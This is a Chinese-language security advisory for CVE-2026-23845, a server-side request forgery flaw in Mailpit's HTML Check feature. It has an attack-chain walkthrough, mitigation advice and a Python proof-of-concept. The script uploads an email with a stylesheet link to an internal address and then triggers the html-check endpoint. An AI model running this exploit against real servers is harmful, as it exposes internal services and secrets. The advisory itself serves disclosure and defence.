IPBUF安全漏洞报告
English
CVE-2026-23845 CVSS 5.8 中危

CVE-2026-23845 Mailpit SSRF服务器端请求伪造漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23845
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mailpit

相关标签

SSRFMailpitCVE-2026-23845中危邮件安全API安全Web应用漏洞服务器端请求伪造HTML CheckCSS注入

漏洞概述

Mailpit是一款面向开发者的邮件测试工具和API服务。该产品在1.28.3之前的版本中存在服务器端请求伪造(SSRF)漏洞。漏洞源于HTML Check功能中的`inlineRemoteCSS()`函数,该函数在分析HTML邮件兼容性时会自动下载外部`<link rel="stylesheet">`标签引用的CSS文件。由于缺乏对CSS URL的严格校验,攻击者可以通过构造恶意HTML邮件,利用Mailpit服务器作为代理向内部网络资源或其他敏感系统发起请求,从而获取本不该访问的数据或触发进一步的攻击。此漏洞无需认证即可利用,攻击复杂度低,但影响范围限于机密性。

技术细节

漏洞主要存在于Mailpit的HTML Check功能接口`/api/v1/message/{ID}/html-check`。该功能原本用于检测HTML邮件的兼容性,内部调用`inlineRemoteCSS()`函数处理邮件中的外部CSS引用。攻击流程如下:首先,攻击者向Mailpit提交一封包含恶意`<link rel="stylesheet" href="http://internal-host/sensitive-data">`标签的HTML邮件。当Mailpit的HTML Check功能处理该邮件时,`inlineRemoteCSS()`函数会向指定的URL发起HTTP请求获取CSS内容。由于请求由Mailpit服务器发起,攻击者可以利用DNS重绑定、协议限制绕过等技术访问内部服务、读取本地文件或探测内网拓扑。漏洞的利用条件包括:知道目标邮件ID、可访问Mailpit的API接口、利用`file://`、`http://127.0.0.1`等协议访问内部资源。修复方案在1.28.3版本中通过添加URL白名单验证和协议限制来防止恶意请求。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者识别目标环境中运行的Mailpit服务版本,确认版本号低于1.28.3,并获取API访问端点
STEP 2
步骤2:构造恶意邮件
攻击者创建包含恶意<link rel="stylesheet">标签的HTML邮件,href属性指向内部网络地址(如127.0.0.1、file://或内网IP)
STEP 3
步骤3:上传邮件
通过Mailpit的/api/v1/upload接口上传构造的HTML邮件,获得邮件ID
STEP 4
步骤4:触发HTML Check
调用/api/v1/message/{ID}/html-check接口,Mailpit服务器执行inlineRemoteCSS()函数下载CSS
STEP 5
步骤5:SSRF攻击执行
Mailpit服务器作为代理向攻击者指定的URL发起请求,绕过网络边界访问内部资源或读取敏感数据
STEP 6
步骤6:数据提取
攻击者通过响应内容获取内部系统信息、配置文件、API密钥等敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23845 PoC - Mailpit SSRF via HTML Check CSS Download # Target: Mailpit < 1.28.3 def check_cve_2026_23845(base_url, message_id): """ Exploit SSRF vulnerability in Mailpit's HTML Check feature by injecting malicious CSS URL in HTML email """ # Step 1: Create HTML email with SSRF payload html_payload = ''' <html> <head> <link rel="stylesheet" href="http://127.0.0.1:8080/internal-api/config"> </head> <body> <h1>Test Email</h1> </body> </html> ''' # Step 2: Send email via Mailpit API files = {'file': ('test.html', html_payload, 'text/html')} upload_response = requests.post(f"{base_url}/api/v1/upload", files=files) if upload_response.status_code == 200: msg_id = upload_response.json().get('ids', [''])[0] # Step 3: Trigger HTML Check to exploit SSRF check_url = f"{base_url}/api/v1/message/{msg_id}/html-check" response = requests.post(check_url) print(f"[+] HTML Check triggered for message: {msg_id}") print(f"[+] Response: {response.text}") return True return False # Usage exploit_url = "http://target-mailpit-server:8025" message_id = "test-message-id" check_cve_2026_23845(exploit_url, message_id)

影响范围

Mailpit < 1.28.3

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:在Mailpit服务前端部署WAF,规则过滤/api/v1/message/*/html-check接口的异常请求;限制Mailpit服务器的网络出站访问,仅允许必要的外部通信;使用网络分段技术隔离Mailpit服务,防止其访问敏感内部系统;监控API访问日志,关注来自同一IP的大量HTML Check请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表